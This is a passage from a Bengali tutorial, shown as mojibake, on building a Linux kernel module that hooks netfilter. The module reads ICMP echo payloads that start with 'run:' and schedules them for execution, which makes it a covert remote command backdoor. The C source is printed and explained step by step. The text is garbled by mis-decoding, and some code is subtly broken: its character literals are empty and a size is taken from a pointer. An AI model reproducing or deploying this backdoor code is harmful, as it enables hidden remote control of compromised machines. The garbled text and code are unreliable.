    āĻ¤āĻžāĻ°āĻĒāĻ° āĻ†āĻŽāĻŋ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ•āĻ°āĻŖā§‡āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§‡āĻ›āĻŋ: NF_INET_PRE_ROUTING āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡ āĻĒā§āĻ°āĻĨāĻŽ āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻŋāĻ¤ āĻšāĻ˛ā§‡ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ¨āĻŋāĻ°ā§āĻĻāĻŋāĻˇā§āĻŸ āĻ•āĻ°ā§‡āĨ¤ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻž āĻ¯ā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡ NF_INET_POST_ROUTING āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻĨā§‡āĻ•ā§‡ āĻĒā§āĻ°āĻ¸ā§āĻĨāĻžāĻ¨ āĻ•āĻ°āĻžāĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻžāĻĨā§‡ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸāĻŸāĻŋāĻ•ā§‡ āĻĒā§āĻ°āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻž āĻ•āĻ°āĻ¤ā§‡āĨ¤
    āĻ†āĻŽāĻŋ āĻĢāĻŋāĻ˛ā§āĻŸāĻžāĻ°āĻŸāĻŋāĻ•ā§‡ IPv4 āĻ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§‡āĻ›āĻŋ: nfho.pf = PF_INET;.
    āĻ†āĻŽāĻŋ āĻ†āĻŽāĻžāĻ° āĻšā§āĻ•āĻ•ā§‡ āĻ¸āĻ°ā§āĻŦā§‹āĻšā§āĻš āĻ…āĻ—ā§āĻ°āĻžāĻ§āĻŋāĻ•āĻžāĻ° āĻĻāĻŋāĻ‡: nfho.priority = NF_IP_PRI_FIRST;
    āĻāĻŦāĻ‚ āĻ†āĻŽāĻŋ āĻĒā§āĻ°āĻ•ā§ƒāĻ¤ āĻšā§āĻ• āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻĄā§‡āĻŸāĻž āĻ•āĻžāĻ āĻžāĻŽā§‹ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻ•āĻ°āĻŋ: nf_register_net_hook(&init_net, &nfho);
  3. āĻšā§‚āĻĄāĻŧāĻžāĻ¨ā§āĻ¤ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻšā§āĻ• āĻ…āĻĒāĻ¸āĻžāĻ°āĻŖ.
  4. āĻ˛āĻžāĻ‡āĻ¸ā§‡āĻ¨ā§āĻ¸āĻŸāĻŋ āĻ¸ā§āĻĒāĻˇā§āĻŸāĻ­āĻžāĻŦā§‡ āĻ¨āĻŋāĻ°ā§āĻĻā§‡āĻļāĻŋāĻ¤ āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ āĻ¯āĻžāĻ¤ā§‡ āĻ•āĻŽā§āĻĒāĻžāĻ‡āĻ˛āĻžāĻ° āĻ…āĻ­āĻŋāĻ¯ā§‹āĻ— āĻ¨āĻž āĻ•āĻ°ā§‡āĨ¤
  5. āĻ•ā§āĻ°āĻŋāĻ¯āĻŧāĻžāĻ•āĻ˛āĻžāĻĒ module_init() и module_exit() āĻŽāĻĄāĻŋāĻ‰āĻ˛āĻŸāĻŋ āĻļā§āĻ°ā§ āĻāĻŦāĻ‚ āĻļā§‡āĻˇ āĻ•āĻ°āĻ¤ā§‡ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§āĻ¨āĨ¤

āĻĒā§‡āĻ˛ā§‹āĻĄ āĻĒā§āĻ¨āĻ°ā§āĻĻā§āĻ§āĻžāĻ° āĻ•āĻ°āĻž āĻšāĻšā§āĻ›ā§‡

āĻāĻ–āĻ¨ āĻ†āĻŽāĻžāĻĻā§‡āĻ° āĻĒā§‡āĻ˛ā§‹āĻĄ āĻŦā§‡āĻ° āĻ•āĻ°āĻ¤ā§‡ āĻšāĻŦā§‡, āĻāĻŸāĻŋ āĻ¸āĻŦāĻšā§‡āĻ¯āĻŧā§‡ āĻ•āĻ āĻŋāĻ¨ āĻ•āĻžāĻœ āĻšāĻ¯āĻŧā§‡ āĻ‰āĻ ā§‡āĻ›ā§‡āĨ¤ āĻĒā§‡āĻ˛ā§‹āĻĄā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ•āĻžāĻœ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ā§‡āĻ° āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ¨āĻŋāĻ°ā§āĻŽāĻŋāĻ¤ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻ¨ā§‡āĻ‡; āĻ†āĻĒāĻ¨āĻŋ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻ‰āĻšā§āĻš-āĻ¸ā§āĻ¤āĻ°ā§‡āĻ° āĻĒā§āĻ°ā§‹āĻŸā§‹āĻ•āĻ˛ā§‡āĻ° āĻšā§‡āĻĄāĻžāĻ° āĻĒāĻžāĻ°ā§āĻ¸ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

āĻ•āĻŋ āĻ˜āĻŸāĻ›ā§‡:

  1. āĻ†āĻ‡āĻĒāĻŋ āĻāĻŦāĻ‚ āĻ†āĻ‡āĻ¸āĻŋāĻāĻŽāĻĒāĻŋ āĻšā§‡āĻĄāĻžāĻ°āĻ—ā§āĻ˛āĻŋāĻ•ā§‡ āĻŽā§āĻ¯āĻžāĻ¨āĻŋāĻĒā§āĻ˛ā§‡āĻŸ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ†āĻŽāĻžāĻ•ā§‡ āĻ…āĻ¤āĻŋāĻ°āĻŋāĻ•ā§āĻ¤ āĻšā§‡āĻĄāĻžāĻ° āĻĢāĻžāĻ‡āĻ˛āĻ—ā§āĻ˛āĻŋ āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ­ā§āĻ•ā§āĻ¤ āĻ•āĻ°āĻ¤ā§‡ āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛āĨ¤
  2. āĻ†āĻŽāĻŋ āĻ¸āĻ°ā§āĻŦā§‹āĻšā§āĻš āĻ˛āĻžāĻ‡āĻ¨ āĻĻā§ˆāĻ°ā§āĻ˜ā§āĻ¯ āĻ¸ā§‡āĻŸ āĻ•āĻ°ā§‡āĻ›āĻŋ: #define MAX_CMD_LEN 1976. āĻ•ā§‡āĻ¨ āĻ āĻŋāĻ• āĻāĻ‡? āĻ•āĻžāĻ°āĻŖ āĻ•āĻŽā§āĻĒāĻžāĻ‡āĻ˛āĻžāĻ° āĻāĻŸāĻž āĻ¨āĻŋāĻ¯āĻŧā§‡ āĻ…āĻ­āĻŋāĻ¯ā§‹āĻ—! āĻ¤āĻžāĻ°āĻž āĻ‡āĻ¤āĻŋāĻŽāĻ§ā§āĻ¯ā§‡ āĻ†āĻŽāĻžāĻ•ā§‡ āĻĒāĻ°āĻžāĻŽāĻ°ā§āĻļ āĻĻāĻŋāĻ¯āĻŧā§‡āĻ›ā§‡ āĻ¯ā§‡ āĻ†āĻŽāĻžāĻ•ā§‡ āĻ¸ā§āĻŸā§āĻ¯āĻžāĻ• āĻāĻŦāĻ‚ āĻ—āĻžāĻĻāĻž āĻŦā§āĻāĻ¤ā§‡ āĻšāĻŦā§‡, āĻ•ā§‹āĻ¨ āĻĻāĻŋāĻ¨ āĻ†āĻŽāĻŋ āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻāĻŸāĻŋ āĻ•āĻ°āĻŦ āĻāĻŦāĻ‚ āĻ¸āĻŽā§āĻ­āĻŦāĻ¤ āĻ•ā§‹āĻĄāĻŸāĻŋ āĻ¸āĻ‚āĻļā§‹āĻ§āĻ¨ āĻ•āĻ°āĻŦāĨ¤ āĻ†āĻŽāĻŋ āĻ…āĻŦāĻŋāĻ˛āĻŽā§āĻŦā§‡ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻ§āĻžāĻ°āĻŖ āĻ•āĻ°āĻŦā§‡ āĻ¯ā§‡ āĻ˛āĻžāĻ‡āĻ¨ āĻ¸ā§‡āĻŸ: char cmd_string[MAX_CMD_LEN];. āĻāĻŸāĻŋ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻĢāĻžāĻ‚āĻļāĻ¨ā§‡ āĻĻā§ƒāĻļā§āĻ¯āĻŽāĻžāĻ¨ āĻšāĻ“āĻ¯āĻŧāĻž āĻ‰āĻšāĻŋāĻ¤; āĻ†āĻŽāĻŋ āĻ…āĻ¨ā§āĻšā§āĻ›ā§‡āĻĻ 9 āĻ āĻ†āĻ°āĻ“ āĻŦāĻŋāĻ¸ā§āĻ¤āĻžāĻ°āĻŋāĻ¤āĻ­āĻžāĻŦā§‡ āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ•āĻĨāĻž āĻŦāĻ˛āĻŦāĨ¤
  3. āĻāĻ–āĻ¨ āĻ†āĻŽāĻžāĻĻā§‡āĻ° āĻ†āĻ°āĻŽā§āĻ­ āĻ•āĻ°āĻ¤ā§‡ āĻšāĻŦā§‡ (struct work_struct my_work;) āĻ—āĻ āĻ¨ āĻ•āĻ°ā§āĻ¨ āĻāĻŦāĻ‚ āĻāĻŸāĻŋ āĻ…āĻ¨ā§āĻ¯ āĻĢāĻžāĻ‚āĻļāĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻ‚āĻ¯ā§āĻ•ā§āĻ¤ āĻ•āĻ°ā§āĻ¨ (DECLARE_WORK(my_work, work_handler);) āĻ†āĻŽāĻŋ āĻ¨āĻŦāĻŽ āĻ…āĻ¨ā§āĻšā§āĻ›ā§‡āĻĻā§‡ āĻ•ā§‡āĻ¨ āĻāĻŸāĻŋ āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ā§€āĻ¯āĻŧ āĻ¤āĻž āĻ¨āĻŋāĻ¯āĻŧā§‡āĻ“ āĻ•āĻĨāĻž āĻŦāĻ˛āĻŦāĨ¤
  4. āĻāĻ–āĻ¨ āĻ†āĻŽāĻŋ āĻāĻ•āĻŸāĻŋ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻ˜ā§‹āĻˇāĻŖāĻž āĻ•āĻ°āĻŋ, āĻ¯āĻž āĻāĻ•āĻŸāĻŋ āĻšā§āĻ• āĻšāĻŦā§‡āĨ¤ āĻŸāĻžāĻ‡āĻĒ āĻāĻŦāĻ‚ āĻ—ā§ƒāĻšā§€āĻ¤ āĻ†āĻ°ā§āĻ—ā§āĻŽā§‡āĻ¨ā§āĻŸ āĻ¨ā§‡āĻŸāĻĢāĻŋāĻ˛ā§āĻŸāĻžāĻ° āĻĻā§āĻŦāĻžāĻ°āĻž āĻ¨āĻŋāĻ°ā§āĻĻā§‡āĻļāĻŋāĻ¤ āĻšāĻ¯āĻŧ, āĻ†āĻŽāĻ°āĻž āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻ†āĻ—ā§āĻ°āĻšā§€ skb. āĻāĻŸāĻŋ āĻāĻ•āĻŸāĻŋ āĻ¸āĻ•ā§‡āĻŸ āĻŦāĻžāĻĢāĻžāĻ°, āĻāĻ•āĻŸāĻŋ āĻŽā§ŒāĻ˛āĻŋāĻ• āĻĄā§‡āĻŸāĻž āĻ•āĻžāĻ āĻžāĻŽā§‹ āĻ¯āĻž āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ‰āĻĒāĻ˛āĻŦā§āĻ§ āĻ¤āĻĨā§āĻ¯ āĻ§āĻžāĻ°āĻŖ āĻ•āĻ°ā§‡āĨ¤
  5. āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋ āĻ•āĻžāĻœ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻ†āĻĒāĻ¨āĻžāĻ° āĻĻā§āĻŸāĻŋ āĻ•āĻžāĻ āĻžāĻŽā§‹ āĻāĻŦāĻ‚ āĻĻā§āĻŸāĻŋ āĻĒā§āĻ¨āĻ°āĻžāĻŦā§ƒāĻ¤ā§āĻ¤āĻŋ āĻ¸āĻš āĻŦā§‡āĻļ āĻ•āĻ¯āĻŧā§‡āĻ•āĻŸāĻŋ āĻ­ā§‡āĻ°āĻŋāĻ¯āĻŧā§‡āĻŦāĻ˛ā§‡āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻšāĻŦā§‡āĨ¤
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. āĻ†āĻŽāĻ°āĻž āĻ¯ā§āĻ•ā§āĻ¤āĻŋ āĻĻāĻŋāĻ¯āĻŧā§‡ āĻļā§āĻ°ā§ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŋāĨ¤ āĻŽāĻĄāĻŋāĻ‰āĻ˛āĻŸāĻŋ āĻ•āĻžāĻœ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, ICMP āĻ‡āĻ•ā§‹ āĻŦā§āĻ¯āĻ¤ā§€āĻ¤ āĻ…āĻ¨ā§āĻ¯ āĻ•ā§‹āĻ¨āĻ“ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸā§‡āĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻ¨ā§‡āĻ‡, āĻ¤āĻžāĻ‡ āĻ†āĻŽāĻ°āĻž āĻ…āĻ¨ā§āĻ¤āĻ°ā§āĻ¨āĻŋāĻ°ā§āĻŽāĻŋāĻ¤ āĻĢāĻžāĻ‚āĻļāĻ¨āĻ—ā§āĻ˛āĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻŦāĻžāĻĢāĻžāĻ°āĻŸāĻŋāĻ•ā§‡ āĻĒāĻžāĻ°ā§āĻ¸ āĻ•āĻ°āĻŋ āĻāĻŦāĻ‚ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ¨āĻ¨-ICMP āĻāĻŦāĻ‚ āĻ¨āĻ¨-āĻ‡āĻ•ā§‹ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻŸāĻ—ā§āĻ˛āĻŋ āĻĢā§‡āĻ˛ā§‡ āĻĻāĻŋāĻ‡ā§ˇ āĻĒā§āĻ°āĻ¤ā§āĻ¯āĻžāĻŦāĻ°ā§āĻ¤āĻ¨ NF_ACCEPT āĻŽāĻžāĻ¨ā§‡ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻ—ā§āĻ°āĻšāĻŖāĻ¯ā§‹āĻ—ā§āĻ¯āĻ¤āĻž, āĻ•āĻŋāĻ¨ā§āĻ¤ā§ āĻ†āĻĒāĻ¨āĻŋ āĻĢāĻŋāĻ°ā§‡ āĻāĻ¸ā§‡āĻ“ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœ āĻŦāĻžāĻĻ āĻĻāĻŋāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨ NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    āĻ†āĻŽāĻŋ āĻ†āĻ‡āĻĒāĻŋ āĻšā§‡āĻĄāĻžāĻ° āĻšā§‡āĻ• āĻ¨āĻž āĻ•āĻ°ā§‡ āĻ•āĻŋ āĻ˜āĻŸāĻŦā§‡ āĻ¤āĻž āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻŋāĻ¨āĻŋāĨ¤ āĻ¸āĻŋ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ†āĻŽāĻžāĻ° āĻ¨ā§āĻ¯ā§‚āĻ¨āĻ¤āĻŽ āĻœā§āĻžāĻžāĻ¨ āĻ†āĻŽāĻžāĻ•ā§‡ āĻŦāĻ˛ā§‡ āĻ¯ā§‡ āĻ…āĻ¤āĻŋāĻ°āĻŋāĻ•ā§āĻ¤ āĻšā§‡āĻ• āĻ›āĻžāĻĄāĻŧāĻž, āĻ­āĻ¯āĻŧāĻžāĻ¨āĻ• āĻ•āĻŋāĻ›ā§ āĻ˜āĻŸāĻ¤ā§‡ āĻŦāĻžāĻ§ā§āĻ¯āĨ¤ āĻ†āĻĒāĻ¨āĻŋ āĻ¯āĻĻāĻŋ āĻ†āĻŽāĻžāĻ•ā§‡ āĻāĻŸāĻŋ āĻĨā§‡āĻ•ā§‡ āĻŦāĻŋāĻ°āĻ¤ āĻ°āĻžāĻ–ā§‡āĻ¨ āĻ¤āĻŦā§‡ āĻ†āĻŽāĻŋ āĻ–ā§āĻļāĻŋ āĻšāĻŦ!

  7. āĻāĻ–āĻ¨ āĻ¯ā§‡ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœāĻŸāĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ āĻ¸āĻ āĻŋāĻ• āĻ§āĻ°āĻŖā§‡āĻ°, āĻ†āĻĒāĻ¨āĻŋ āĻĄā§‡āĻŸāĻž āĻŦā§‡āĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤ āĻāĻ•āĻŸāĻŋ āĻŦāĻŋāĻ˛ā§āĻŸ-āĻ‡āĻ¨ āĻĢāĻžāĻ‚āĻļāĻ¨ āĻ›āĻžāĻĄāĻŧāĻž, āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻĒā§āĻ°āĻĨāĻŽā§‡ āĻĒā§‡āĻ˛ā§‹āĻĄā§‡āĻ° āĻļā§āĻ°ā§āĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻĒāĻ¯āĻŧā§‡āĻ¨ā§āĻŸāĻžāĻ° āĻĒā§‡āĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ āĻāĻŸāĻŋ āĻāĻ• āĻœāĻžāĻ¯āĻŧāĻ—āĻžāĻ¯āĻŧ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻĒāĻ¯āĻŧā§‡āĻ¨ā§āĻŸāĻžāĻ°āĻŸāĻŋāĻ•ā§‡ ICMP āĻšā§‡āĻĄāĻžāĻ°ā§‡āĻ° āĻļā§āĻ°ā§āĻ¤ā§‡ āĻ¨āĻŋāĻ¯āĻŧā§‡ āĻ¯ā§‡āĻ¤ā§‡ āĻšāĻŦā§‡ āĻāĻŦāĻ‚ āĻāĻŸāĻŋāĻ•ā§‡ āĻāĻ‡ āĻšā§‡āĻĄāĻžāĻ°ā§‡āĻ° āĻ†āĻ•āĻžāĻ°ā§‡ āĻ¨āĻŋāĻ¯āĻŧā§‡ āĻ¯ā§‡āĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§ āĻ•āĻžāĻ āĻžāĻŽā§‹ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    āĻšā§‡āĻĄāĻžāĻ°ā§‡āĻ° āĻļā§‡āĻˇ āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻĒā§‡āĻ˛ā§‹āĻĄā§‡āĻ° āĻļā§‡āĻˇā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻŽāĻŋāĻ˛āĻŦā§‡ skb, āĻ¤āĻžāĻ‡ āĻ†āĻŽāĻ°āĻž āĻ¸āĻ‚āĻļā§āĻ˛āĻŋāĻˇā§āĻŸ āĻ•āĻžāĻ āĻžāĻŽā§‹ āĻĨā§‡āĻ•ā§‡ āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻ‰āĻĒāĻžāĻ¯āĻŧ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻāĻŸāĻŋ āĻĒā§āĻ°āĻžāĻĒā§āĻ¤ āĻ•āĻ°āĻŋ: tail = skb_tail_pointer(skb);.

    ICMP āĻ‰āĻĒāĻ° āĻĒāĻžāĻ°āĻŽāĻžāĻŖāĻŦāĻŋāĻ• āĻļā§‡āĻ˛

    āĻ›āĻŦāĻŋ āĻšā§āĻ°āĻŋ āĻšāĻ¯āĻŧā§‡ āĻ—ā§‡āĻ›ā§‡ āĻāĻ–āĻžāĻ¨ā§‡ āĻĨā§‡āĻ•ā§‡, āĻ†āĻĒāĻ¨āĻŋ āĻ¸āĻ•ā§‡āĻŸ āĻŦāĻžāĻĢāĻžāĻ° āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•ā§‡ āĻ†āĻ°āĻ“ āĻĒāĻĄāĻŧāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

  8. āĻāĻ•āĻŦāĻžāĻ° āĻ†āĻĒāĻ¨āĻžāĻ° āĻļā§āĻ°ā§ āĻāĻŦāĻ‚ āĻļā§‡āĻˇā§‡āĻ° āĻĒāĻ¯āĻŧā§‡āĻ¨ā§āĻŸāĻžāĻ° āĻšāĻ¯āĻŧā§‡ āĻ—ā§‡āĻ˛ā§‡, āĻ†āĻĒāĻ¨āĻŋ āĻāĻ•āĻŸāĻŋ āĻ¸ā§āĻŸā§āĻ°āĻŋāĻ‚āĻ¯āĻŧā§‡ āĻĄā§‡āĻŸāĻž āĻ•āĻĒāĻŋ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨ cmd_string, āĻāĻ•āĻŸāĻŋ āĻ‰āĻĒāĻ¸āĻ°ā§āĻ— āĻ‰āĻĒāĻ¸ā§āĻĨāĻŋāĻ¤āĻŋāĻ° āĻœāĻ¨ā§āĻ¯ āĻāĻŸāĻŋ āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻ•āĻ°ā§āĻ¨ run: āĻāĻŦāĻ‚, āĻšāĻ¯āĻŧ āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœāĻŸāĻŋ āĻ…āĻ¨ā§āĻĒāĻ¸ā§āĻĨāĻŋāĻ¤ āĻĨāĻžāĻ•āĻ˛ā§‡ āĻ¤āĻž āĻŦāĻžāĻ¤āĻŋāĻ˛ āĻ•āĻ°ā§āĻ¨, āĻ…āĻĨāĻŦāĻž āĻāĻ‡ āĻ‰āĻĒāĻ¸āĻ°ā§āĻ—āĻŸāĻŋ āĻ¸āĻ°āĻŋāĻ¯āĻŧā§‡ āĻ˛āĻžāĻ‡āĻ¨āĻŸāĻŋ āĻ†āĻŦāĻžāĻ° āĻ˛āĻŋāĻ–ā§āĻ¨āĨ¤
  9. āĻāĻŸāĻžāĻ‡, āĻāĻ–āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ…āĻ¨ā§āĻ¯ āĻšā§āĻ¯āĻžāĻ¨ā§āĻĄāĻ˛āĻžāĻ°āĻ•ā§‡ āĻ•āĻ˛ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨: schedule_work(&my_work);. āĻ¯ā§‡āĻšā§‡āĻ¤ā§ āĻāĻ‡ āĻœāĻžāĻ¤ā§€āĻ¯āĻŧ āĻ•āĻ˛ā§‡ āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ¯āĻžāĻ°āĻžāĻŽāĻŋāĻŸāĻžāĻ° āĻĒāĻžāĻ¸ āĻ•āĻ°āĻž āĻ¸āĻŽā§āĻ­āĻŦ āĻšāĻŦā§‡ āĻ¨āĻž, āĻ¤āĻžāĻ‡ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ āĻ¸āĻš āĻ˛āĻžāĻ‡āĻ¨āĻŸāĻŋ āĻ…āĻŦāĻļā§āĻ¯āĻ‡ āĻŦāĻŋāĻļā§āĻŦāĻŦā§āĻ¯āĻžāĻĒā§€ āĻšāĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ schedule_work() āĻĒāĻžāĻ¸ āĻ•āĻ°āĻž āĻ•āĻžāĻ āĻžāĻŽā§‹āĻ° āĻ¸āĻžāĻĨā§‡ āĻ¯ā§āĻ•ā§āĻ¤ āĻĢāĻžāĻ‚āĻļāĻ¨āĻŸāĻŋāĻ•ā§‡ āĻŸāĻžāĻ¸ā§āĻ• āĻļāĻŋāĻĄāĻŋāĻ‰āĻ˛āĻžāĻ°ā§‡āĻ° āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ āĻ¸āĻžāĻ°āĻŋāĻ¤ā§‡ āĻ°āĻžāĻ–āĻŦā§‡ āĻāĻŦāĻ‚ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻ•āĻ°āĻŦā§‡, āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ•āĻŽāĻžāĻ¨ā§āĻĄāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻšāĻ“āĻ¯āĻŧāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ…āĻĒā§‡āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻ¤ā§‡ āĻĻā§‡āĻŦā§‡ āĻ¨āĻžāĨ¤ āĻāĻŸāĻŋ āĻĒā§āĻ°āĻ¯āĻŧā§‹āĻœāĻ¨ā§€āĻ¯āĻŧ āĻ•āĻžāĻ°āĻŖ āĻšā§āĻ• āĻ–ā§āĻŦ āĻĻā§āĻ°ā§āĻ¤ āĻšāĻ¤ā§‡ āĻšāĻŦā§‡āĨ¤ āĻ…āĻ¨ā§āĻ¯āĻĨāĻžāĻ¯āĻŧ, āĻ†āĻĒāĻ¨āĻžāĻ° āĻĒāĻ›āĻ¨ā§āĻĻ āĻšāĻ˛ āĻ¯ā§‡ āĻ•āĻŋāĻ›ā§āĻ‡ āĻļā§āĻ°ā§ āĻšāĻŦā§‡ āĻ¨āĻž āĻŦāĻž āĻ†āĻĒāĻ¨āĻŋ āĻāĻ•āĻŸāĻŋ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻĒā§āĻ¯āĻžāĻ¨āĻŋāĻ• āĻĒāĻžāĻŦā§‡āĻ¨āĨ¤ āĻŦāĻŋāĻ˛āĻŽā§āĻŦ āĻ¯ā§‡āĻ¨ āĻŽā§ƒāĻ¤ā§āĻ¯ā§āĻ° āĻŽāĻ¤ā§‹!
  10. āĻāĻŸāĻŋāĻ‡, āĻ†āĻĒāĻ¨āĻŋ āĻ¸āĻ‚āĻļā§āĻ˛āĻŋāĻˇā§āĻŸ āĻ°āĻŋāĻŸāĻžāĻ°ā§āĻ¨ āĻ¸āĻš āĻĒā§āĻ¯āĻžāĻ•ā§‡āĻœāĻŸāĻŋ āĻ—ā§āĻ°āĻšāĻŖ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

